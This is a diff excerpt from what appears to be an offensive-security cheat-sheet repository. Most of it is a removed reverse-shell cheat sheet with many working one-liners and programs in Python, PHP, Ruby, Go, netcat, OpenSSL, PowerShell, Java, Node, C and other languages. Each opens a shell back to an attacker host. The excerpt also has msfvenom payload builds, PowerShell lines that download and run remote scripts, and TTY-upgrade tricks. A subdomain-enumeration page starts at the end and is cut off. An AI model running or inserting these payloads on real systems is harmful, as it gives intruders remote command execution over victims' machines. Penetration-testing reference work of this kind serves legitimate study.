python -c 'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));subprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())'
|
|
||||||
```
|
|
||||||
|
|
||||||
IPv4 (No Spaces)
|
|
||||||
```python
|
|
||||||
python -c 'socket=__import__("socket");os=__import__("os");pty=__import__("pty");s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'
|
|
||||||
```
|
|
||||||
```python
|
|
||||||
python -c 'socket=__import__("socket");subprocess=__import__("subprocess");os=__import__("os");s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
|
|
||||||
```
|
|
||||||
```python
|
|
||||||
python -c 'socket=__import__("socket");subprocess=__import__("subprocess");s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));subprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())'
|
|
||||||
```
|
|
||||||
|
|
||||||
IPv4 (No Spaces, Shortened)
|
|
||||||
```python
|
|
||||||
python -c 'a=__import__;s=a("socket");o=a("os").dup2;p=a("pty").spawn;c=s.socket(s.AF_INET,s.SOCK_STREAM);c.connect(("10.0.0.1",4242));f=c.fileno;o(f(),0);o(f(),1);o(f(),2);p("/bin/sh")'
|
|
||||||
```
|
|
||||||
```python
|
|
||||||
python -c 'a=__import__;b=a("socket");p=a("subprocess").call;o=a("os").dup2;s=b.socket(b.AF_INET,b.SOCK_STREAM);s.connect(("10.0.0.1",4242));f=s.fileno;o(f(),0);o(f(),1);o(f(),2);p(["/bin/sh","-i"])'
|
|
||||||
```
|
|
||||||
```python
|
|
||||||
python -c 'a=__import__;b=a("socket");c=a("subprocess").call;s=b.socket(b.AF_INET,b.SOCK_STREAM);s.connect(("10.0.0.1",4242));f=s.fileno;c(["/bin/sh","-i"],stdin=f(),stdout=f(),stderr=f())'
|
|
||||||
```
|
|
||||||
|
|
||||||
IPv4 (No Spaces, Shortened Further)
|
|
||||||
```python
|
|
||||||
python -c 'a=__import__;s=a("socket").socket;o=a("os").dup2;p=a("pty").spawn;c=s();c.connect(("10.0.0.1",4242));f=c.fileno;o(f(),0);o(f(),1);o(f(),2);p("/bin/sh")'
|
|
||||||
```
|
|
||||||
```python
|
|
||||||
python -c 'a=__import__;b=a("socket").socket;p=a("subprocess").call;o=a("os").dup2;s=b();s.connect(("10.0.0.1",4242));f=s.fileno;o(f(),0);o(f(),1);o(f(),2);p(["/bin/sh","-i"])'
|
|
||||||
```
|
|
||||||
```python
|
|
||||||
python -c 'a=__import__;b=a("socket").socket;c=a("subprocess").call;s=b();s.connect(("10.0.0.1",4242));f=s.fileno;c(["/bin/sh","-i"],stdin=f(),stdout=f(),stderr=f())'
|
|
||||||
```
|
|
||||||
|
|
||||||
IPv6
|
|
||||||
```python
|
|
||||||
python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::125c",4242,0,2));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'
|
|
||||||
```
|
|
||||||
|
|
||||||
IPv6 (No Spaces)
|
|
||||||
```python
|
|
||||||
python -c 'socket=__import__("socket");os=__import__("os");pty=__import__("pty");s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::125c",4242,0,2));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'
|
|
||||||
```
|
|
||||||
|
|
||||||
IPv6 (No Spaces, Shortened)
|
|
||||||
```python
|
|
||||||
python -c 'a=__import__;c=a("socket");o=a("os").dup2;p=a("pty").spawn;s=c.socket(c.AF_INET6,c.SOCK_STREAM);s.connect(("dead:beef:2::125c",4242,0,2));f=s.fileno;o(f(),0);o(f(),1);o(f(),2);p("/bin/sh")'
|
|
||||||
```
|
|
||||||
|
|
||||||
Windows only
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
C:\Python27\python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('10.0.0.1', 4242)), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__('contextlib'))"
|
|
||||||
```
|
|
||||||
|
|
||||||
### PHP
|
|
||||||
|
|
||||||
```bash
|
|
||||||
php -r '$sock=fsockopen("10.0.0.1",4242);exec("/bin/sh -i <&3 >&3 2>&3");'
|
|
||||||
php -r '$sock=fsockopen("10.0.0.1",4242);shell_exec("/bin/sh -i <&3 >&3 2>&3");'
|
|
||||||
php -r '$sock=fsockopen("10.0.0.1",4242);`/bin/sh -i <&3 >&3 2>&3`;'
|
|
||||||
php -r '$sock=fsockopen("10.0.0.1",4242);system("/bin/sh -i <&3 >&3 2>&3");'
|
|
||||||
php -r '$sock=fsockopen("10.0.0.1",4242);passthru("/bin/sh -i <&3 >&3 2>&3");'
|
|
||||||
php -r '$sock=fsockopen("10.0.0.1",4242);popen("/bin/sh -i <&3 >&3 2>&3", "r");'
|
|
||||||
```
|
|
||||||
|
|
||||||
```bash
|
|
||||||
php -r '$sock=fsockopen("10.0.0.1",4242);$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);'
|
|
||||||
```
|
|
||||||
|
|
||||||
### Ruby
|
|
||||||
|
|
||||||
```ruby
|
|
||||||
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",4242).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
|
|
||||||
|
|
||||||
ruby -rsocket -e'exit if fork;c=TCPSocket.new("10.0.0.1","4242");loop{c.gets.chomp!;(exit! if $_=="exit");($_=~/cd (.+)/i?(Dir.chdir($1)):(IO.popen($_,?r){|io|c.print io.read}))rescue c.puts "failed: #{$_}"}'
|
|
||||||
|
|
||||||
NOTE: Windows only
|
|
||||||
ruby -rsocket -e 'c=TCPSocket.new("10.0.0.1","4242");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
|
|
||||||
```
|
|
||||||
|
|
||||||
### Golang
|
|
||||||
|
|
||||||
```bash
|
|
||||||
echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","10.0.0.1:4242");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go
|
|
||||||
```
|
|
||||||
|
|
||||||
### Netcat Traditional
|
|
||||||
|
|
||||||
```bash
|
|
||||||
nc -e /bin/sh 10.0.0.1 4242
|
|
||||||
nc -e /bin/bash 10.0.0.1 4242
|
|
||||||
nc -c bash 10.0.0.1 4242
|
|
||||||
```
|
|
||||||
|
|
||||||
### Netcat OpenBsd
|
|
||||||
|
|
||||||
```bash
|
|
||||||
rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4242 >/tmp/f
|
|
||||||
```
|
|
||||||
|
|
||||||
### Netcat BusyBox
|
|
||||||
|
|
||||||
```bash
|
|
||||||
rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4242 >/tmp/f
|
|
||||||
```
|
|
||||||
|
|
||||||
### Ncat
|
|
||||||
|
|
||||||
```bash
|
|
||||||
ncat 10.0.0.1 4242 -e /bin/bash
|
|
||||||
ncat --udp 10.0.0.1 4242 -e /bin/bash
|
|
||||||
```
|
|
||||||
|
|
||||||
### OpenSSL
|
|
||||||
|
|
||||||
Attacker:
|
|
||||||
```powershell
|
|
||||||
user@attack$ openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
|
|
||||||
user@attack$ openssl s_server -quiet -key key.pem -cert cert.pem -port 4242
|
|
||||||
or
|
|
||||||
user@attack$ ncat --ssl -vv -l -p 4242
|
|
||||||
|
|
||||||
user@victim$ mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 10.0.0.1:4242 > /tmp/s; rm /tmp/s
|
|
||||||
```
|
|
||||||
|
|
||||||
TLS-PSK (does not rely on PKI or self-signed certificates)
|
|
||||||
```bash
|
|
||||||
# generate 384-bit PSK
|
|
||||||
# use the generated string as a value for the two PSK variables from below
|
|
||||||
openssl rand -hex 48
|
|
||||||
# server (attacker)
|
|
||||||
export LHOST="*"; export LPORT="4242"; export PSK="replacewithgeneratedpskfromabove"; openssl s_server -quiet -tls1_2 -cipher PSK-CHACHA20-POLY1305:PSK-AES256-GCM-SHA384:PSK-AES256-CBC-SHA384:PSK-AES128-GCM-SHA256:PSK-AES128-CBC-SHA256 -psk $PSK -nocert -accept $LHOST:$LPORT
|
|
||||||
# client (victim)
|
|
||||||
export RHOST="10.0.0.1"; export RPORT="4242"; export PSK="replacewithgeneratedpskfromabove"; export PIPE="/tmp/`openssl rand -hex 4`"; mkfifo $PIPE; /bin/sh -i < $PIPE 2>&1 | openssl s_client -quiet -tls1_2 -psk $PSK -connect $RHOST:$RPORT > $PIPE; rm $PIPE
|
|
||||||
```
|
|
||||||
|
|
||||||
### Powershell
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("10.0.0.1",4242);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
|
|
||||||
```
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.0.0.1',4242);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
|
|
||||||
```
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
powershell IEX (New-Object Net.WebClient).DownloadString('https://gist.githubusercontent.com/staaldraad/204928a6004e89553a8d3db0ce527fd5/raw/fe5f74ecfae7ec0f2d50895ecf9ab9dafe253ad4/mini-reverse.ps1')
|
|
||||||
```
|
|
||||||
|
|
||||||
### Awk
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
awk 'BEGIN {s = "/inet/tcp/0/10.0.0.1/4242"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null
|
|
||||||
```
|
|
||||||
|
|
||||||
### Java
|
|
||||||
|
|
||||||
```java
|
|
||||||
Runtime r = Runtime.getRuntime();
|
|
||||||
Process p = r.exec("/bin/bash -c 'exec 5<>/dev/tcp/10.0.0.1/4242;cat <&5 | while read line; do $line 2>&5 >&5; done'");
|
|
||||||
p.waitFor();
|
|
||||||
|
|
||||||
```
|
|
||||||
|
|
||||||
#### Java Alternative 1
|
|
||||||
|
|
||||||
```java
|
|
||||||
String host="127.0.0.1";
|
|
||||||
int port=4444;
|
|
||||||
String cmd="cmd.exe";
|
|
||||||
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
|
|
||||||
|
|
||||||
```
|
|
||||||
|
|
||||||
#### Java Alternative 2
|
|
||||||
**NOTE**: This is more stealthy
|
|
||||||
|
|
||||||
```java
|
|
||||||
Thread thread = new Thread(){
|
|
||||||
public void run(){
|
|
||||||
// Reverse shell here
|
|
||||||
}
|
|
||||||
}
|
|
||||||
thread.start();
|
|
||||||
```
|
|
||||||
|
|
||||||
### Telnet
|
|
||||||
```bash
|
|
||||||
In Attacker machine start two listeners:
|
|
||||||
nc -lvp 8080
|
|
||||||
nc -lvp 8081
|
|
||||||
|
|
||||||
In Victime machine run below command:
|
|
||||||
telnet <Your_IP> 8080 | /bin/sh | telnet <Your_IP> 8081
|
|
||||||
```
|
|
||||||
|
|
||||||
### War
|
|
||||||
|
|
||||||
```java
|
|
||||||
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.0.0.1 LPORT=4242 -f war > reverse.war
|
|
||||||
strings reverse.war | grep jsp # in order to get the name of the file
|
|
||||||
```
|
|
||||||
|
|
||||||
|
|
||||||
### Lua
|
|
||||||
|
|
||||||
Linux only
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','4242');os.execute('/bin/sh -i <&3 >&3 2>&3');"
|
|
||||||
```
|
|
||||||
|
|
||||||
Windows and Linux
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
lua5.1 -e 'local host, port = "10.0.0.1", 4242 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, "r") local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'
|
|
||||||
```
|
|
||||||
|
|
||||||
### NodeJS
|
|
||||||
|
|
||||||
```javascript
|
|
||||||
(function(){
|
|
||||||
var net = require("net"),
|
|
||||||
cp = require("child_process"),
|
|
||||||
sh = cp.spawn("/bin/sh", []);
|
|
||||||
var client = new net.Socket();
|
|
||||||
client.connect(4242, "10.0.0.1", function(){
|
|
||||||
client.pipe(sh.stdin);
|
|
||||||
sh.stdout.pipe(client);
|
|
||||||
sh.stderr.pipe(client);
|
|
||||||
});
|
|
||||||
return /a/; // Prevents the Node.js application form crashing
|
|
||||||
})();
|
|
||||||
|
|
||||||
|
|
||||||
or
|
|
||||||
|
|
||||||
require('child_process').exec('nc -e /bin/sh 10.0.0.1 4242')
|
|
||||||
|
|
||||||
or
|
|
||||||
|
|
||||||
-var x = global.process.mainModule.require
|
|
||||||
-x('child_process').exec('nc 10.0.0.1 4242 -e /bin/bash')
|
|
||||||
|
|
||||||
or
|
|
||||||
|
|
||||||
https://gitlab.com/0x4ndr3/blog/blob/master/JSgen/JSgen.py
|
|
||||||
```
|
|
||||||
|
|
||||||
### Groovy
|
|
||||||
|
|
||||||
by [frohoff](https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76)
|
|
||||||
NOTE: Java reverse shell also work for Groovy
|
|
||||||
|
|
||||||
```java
|
|
||||||
String host="10.0.0.1";
|
|
||||||
int port=4242;
|
|
||||||
String cmd="cmd.exe";
|
|
||||||
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
|
|
||||||
```
|
|
||||||
|
|
||||||
#### Groovy Alternative 1
|
|
||||||
**NOTE**: This is more stealthy
|
|
||||||
|
|
||||||
```java
|
|
||||||
Thread.start {
|
|
||||||
// Reverse shell here
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
### C
|
|
||||||
|
|
||||||
Compile with `gcc /tmp/shell.c --output csh && csh`
|
|
||||||
|
|
||||||
```csharp
|
|
||||||
#include <stdio.h>
|
|
||||||
#include <sys/socket.h>
|
|
||||||
#include <sys/types.h>
|
|
||||||
#include <stdlib.h>
|
|
||||||
#include <unistd.h>
|
|
||||||
#include <netinet/in.h>
|
|
||||||
#include <arpa/inet.h>
|
|
||||||
|
|
||||||
int main(void){
|
|
||||||
int port = 4242;
|
|
||||||
struct sockaddr_in revsockaddr;
|
|
||||||
|
|
||||||
int sockt = socket(AF_INET, SOCK_STREAM, 0);
|
|
||||||
revsockaddr.sin_family = AF_INET;
|
|
||||||
revsockaddr.sin_port = htons(port);
|
|
||||||
revsockaddr.sin_addr.s_addr = inet_addr("10.0.0.1");
|
|
||||||
|
|
||||||
connect(sockt, (struct sockaddr *) &revsockaddr,
|
|
||||||
sizeof(revsockaddr));
|
|
||||||
dup2(sockt, 0);
|
|
||||||
dup2(sockt, 1);
|
|
||||||
dup2(sockt, 2);
|
|
||||||
|
|
||||||
char * const argv[] = {"/bin/sh", NULL};
|
|
||||||
execve("/bin/sh", argv, NULL);
|
|
||||||
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
### Dart
|
|
||||||
|
|
||||||
```java
|
|
||||||
import 'dart:io';
|
|
||||||
import 'dart:convert';
|
|
||||||
|
|
||||||
main() {
|
|
||||||
Socket.connect("10.0.0.1", 4242).then((socket) {
|
|
||||||
socket.listen((data) {
|
|
||||||
Process.start('powershell.exe', []).then((Process process) {
|
|
||||||
process.stdin.writeln(new String.fromCharCodes(data).trim());
|
|
||||||
process.stdout
|
|
||||||
.transform(utf8.decoder)
|
|
||||||
.listen((output) { socket.write(output); });
|
|
||||||
});
|
|
||||||
},
|
|
||||||
onDone: () {
|
|
||||||
socket.destroy();
|
|
||||||
});
|
|
||||||
});
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
## Meterpreter Shell
|
|
||||||
|
|
||||||
### Windows Staged reverse TCP
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4242 -f exe > reverse.exe
|
|
||||||
```
|
|
||||||
|
|
||||||
### Windows Stageless reverse TCP
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.1 LPORT=4242 -f exe > reverse.exe
|
|
||||||
```
|
|
||||||
|
|
||||||
### Linux Staged reverse TCP
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=4242 -f elf >reverse.elf
|
|
||||||
```
|
|
||||||
|
|
||||||
### Linux Stageless reverse TCP
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.0.0.1 LPORT=4242 -f elf >reverse.elf
|
|
||||||
```
|
|
||||||
|
|
||||||
### Other platforms
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
$ msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f elf > shell.elf
|
|
||||||
$ msfvenom -p windows/meterpreter/reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f exe > shell.exe
|
|
||||||
$ msfvenom -p osx/x86/shell_reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f macho > shell.macho
|
|
||||||
$ msfvenom -p windows/meterpreter/reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f asp > shell.asp
|
|
||||||
$ msfvenom -p java/jsp_shell_reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f raw > shell.jsp
|
|
||||||
$ msfvenom -p java/jsp_shell_reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f war > shell.war
|
|
||||||
$ msfvenom -p cmd/unix/reverse_python LHOST="10.0.0.1" LPORT=4242 -f raw > shell.py
|
|
||||||
$ msfvenom -p cmd/unix/reverse_bash LHOST="10.0.0.1" LPORT=4242 -f raw > shell.sh
|
|
||||||
$ msfvenom -p cmd/unix/reverse_perl LHOST="10.0.0.1" LPORT=4242 -f raw > shell.pl
|
|
||||||
$ msfvenom -p php/meterpreter_reverse_tcp LHOST="10.0.0.1" LPORT=4242 -f raw > shell.php; cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php
|
|
||||||
```
|
|
||||||
|
|
||||||
## Spawn TTY Shell
|
|
||||||
|
|
||||||
In order to catch a shell, you need to listen on the desired port. `rlwrap` will enhance the shell, allowing you to clear the screen with `[CTRL] + [L]`.
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
rlwrap nc 10.0.0.1 4242
|
|
||||||
|
|
||||||
rlwrap -r -f . nc 10.0.0.1 4242
|
|
||||||
-f . will make rlwrap use the current history file as a completion word list.
|
|
||||||
-r Put all words seen on in- and output on the completion list.
|
|
||||||
```
|
|
||||||
|
|
||||||
Sometimes, you want to access shortcuts, su, nano and autocomplete in a partially tty shell.
|
|
||||||
|
|
||||||
:warning: OhMyZSH might break this trick, a simple `sh` is recommended
|
|
||||||
|
|
||||||
> The main problem here is that zsh doesn't handle the stty command the same way bash or sh does. [...] stty raw -echo; fg[...] If you try to execute this as two separated commands, as soon as the prompt appear for you to execute the fg command, your -echo command already lost its effect
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
ctrl+z
|
|
||||||
echo $TERM && tput lines && tput cols
|
|
||||||
|
|
||||||
# for bash
|
|
||||||
stty raw -echo
|
|
||||||
fg
|
|
||||||
|
|
||||||
# for zsh
|
|
||||||
stty raw -echo; fg
|
|
||||||
|
|
||||||
reset
|
|
||||||
export SHELL=bash
|
|
||||||
export TERM=xterm-256color
|
|
||||||
stty rows <num> columns <cols>
|
|
||||||
```
|
|
||||||
|
|
||||||
or use `socat` binary to get a fully tty reverse shell
|
|
||||||
|
|
||||||
```bash
|
|
||||||
socat file:`tty`,raw,echo=0 tcp-listen:12345
|
|
||||||
```
|
|
||||||
|
|
||||||
Spawn a TTY shell from an interpreter
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
/bin/sh -i
|
|
||||||
python3 -c 'import pty; pty.spawn("/bin/sh")'
|
|
||||||
python3 -c "__import__('pty').spawn('/bin/bash')"
|
|
||||||
python3 -c "__import__('subprocess').call(['/bin/bash'])"
|
|
||||||
perl -e 'exec "/bin/sh";'
|
|
||||||
perl: exec "/bin/sh";
|
|
||||||
perl -e 'print `/bin/bash`'
|
|
||||||
ruby: exec "/bin/sh"
|
|
||||||
lua: os.execute('/bin/sh')
|
|
||||||
```
|
|
||||||
|
|
||||||
- vi: `:!bash`
|
|
||||||
- vi: `:set shell=/bin/bash:shell`
|
|
||||||
- nmap: `!sh`
|
|
||||||
- mysql: `! bash`
|
|
||||||
|
|
||||||
Alternative TTY method
|
|
||||||
|
|
||||||
```
|
|
||||||
www-data@debian:/dev/shm$ su - user
|
|
||||||
su: must be run from a terminal
|
|
||||||
|
|
||||||
www-data@debian:/dev/shm$ /usr/bin/script -qc /bin/bash /dev/null
|
|
||||||
www-data@debian:/dev/shm$ su - user
|
|
||||||
Password: P4ssW0rD
|
|
||||||
|
|
||||||
user@debian:~$
|
|
||||||
```
|
|
||||||
|
|
||||||
## Fully interactive reverse shell on Windows
|
|
||||||
The introduction of the Pseudo Console (ConPty) in Windows has improved so much the way Windows handles terminals.
|
|
||||||
|
|
||||||
**ConPtyShell uses the function [CreatePseudoConsole()](https://docs.microsoft.com/en-us/windows/console/createpseudoconsole). This function is available since Windows 10 / Windows Server 2019 version 1809 (build 10.0.17763).**
|
|
||||||
|
|
||||||
|
|
||||||
Server Side:
|
|
||||||
|
|
||||||
```
|
|
||||||
stty raw -echo; (stty size; cat) | nc -lvnp 3001
|
|
||||||
```
|
|
||||||
|
|
||||||
Client Side:
|
|
||||||
|
|
||||||
```
|
|
||||||
IEX(IWR https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell 10.0.0.2 3001
|
|
||||||
```
|
|
||||||
|
|
||||||
Offline version of the ps1 available at --> https://github.com/antonioCoco/ConPtyShell/blob/master/Invoke-ConPtyShell.ps1
|
|
||||||
|
|
||||||
## References
|
|
||||||
|
|
||||||
* [Reverse Bash Shell One Liner](https://security.stackexchange.com/questions/166643/reverse-bash-shell-one-liner)
|
|
||||||
* [Pentest Monkey - Cheat Sheet Reverse shell](http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet)
|
|
||||||
* [Spawning a TTY Shell](http://netsec.ws/?p=337)
|
|
||||||
* [Obtaining a fully interactive shell](https://forum.hackthebox.eu/discussion/142/obtaining-a-fully-interactive-shell)
|
|
||||||
9
Methodology and Resources/Source Code Management.md
Normal file
9
Methodology and Resources/Source Code Management.md
Normal file
@@ -0,0 +1,9 @@
|
|||||||
|
# Source Code Management & CI/CD Compromise
|
||||||
|
|
||||||
|
:warning: Content of this page has been moved to [InternalAllTheThings/cheatsheets/source-code-management-ci](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/source-code-management-ci/)
|
||||||
|
|
||||||
|
- [Tools](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/source-code-management-ci/#tools)
|
||||||
|
- [Enumerate repositories files and secrets](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/source-code-management-ci/#enumerate-repositories-files-and-secrets)
|
||||||
|
- [Personal Access Token](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/source-code-management-ci/#personal-access-token)
|
||||||
|
- [Gitlab CI/Github Actions](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/source-code-management-ci/#gitlab-cigithub-actions)
|
||||||
|
- [References](https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/source-code-management-ci/#references)
|
||||||
@@ -1,195 +0,0 @@
|
|||||||
# Subdomains Enumeration
|
|
||||||
|
|
||||||
## Summary
|
|
||||||
|
|
||||||
* [Enumerate all subdomains](#enumerate-all-subdomains-only-if-the-scope-is-domainext)
|
|
||||||
* Subbrute
|
|
||||||
* KnockPy
|
|
||||||
* GoogleDorks
|
|
||||||
* EyeWitness
|
|
||||||
* Sublist3r
|
|
||||||
* Subfinder
|
|
||||||
* Findomain
|
|
||||||
* Aquatone (Ruby and Go versions)
|
|
||||||
* AltDNS
|
|
||||||
* MassDNS
|
|
||||||
* Nmap
|
|
||||||
* Subdomain take over
|
|
||||||
* tko-subs
|
|
||||||
* HostileSubBruteForcer
|
|
||||||
* SubOver
|
|
||||||
|
|
||||||
## Enumerate all subdomains (only if the scope is *.domain.ext)
|
|
||||||
|
|
||||||
### Using Subbrute
|
|
||||||
|
|
||||||
```bash
|
|
||||||
git clone https://github.com/TheRook/subbrute
|
|
||||||
python subbrute.py domain.example.com
|
|
||||||
```
|
|
||||||
|
|
||||||
### Using KnockPy with Daniel Miessler’s SecLists for subdomain "/Discover/DNS"
|
|
||||||
|
|
||||||
```bash
|
|
||||||
git clone https://github.com/guelfoweb/knock
|
|
||||||
git clone https://github.com/danielmiessler/SecLists.git
|
|
||||||
knockpy domain.com -w subdomains-top1mil-110000.txt
|
|
||||||
```
|
|
||||||
|
|
||||||
Using EyeWitness and Nmap scans from the KnockPy and enumall scans
|
|
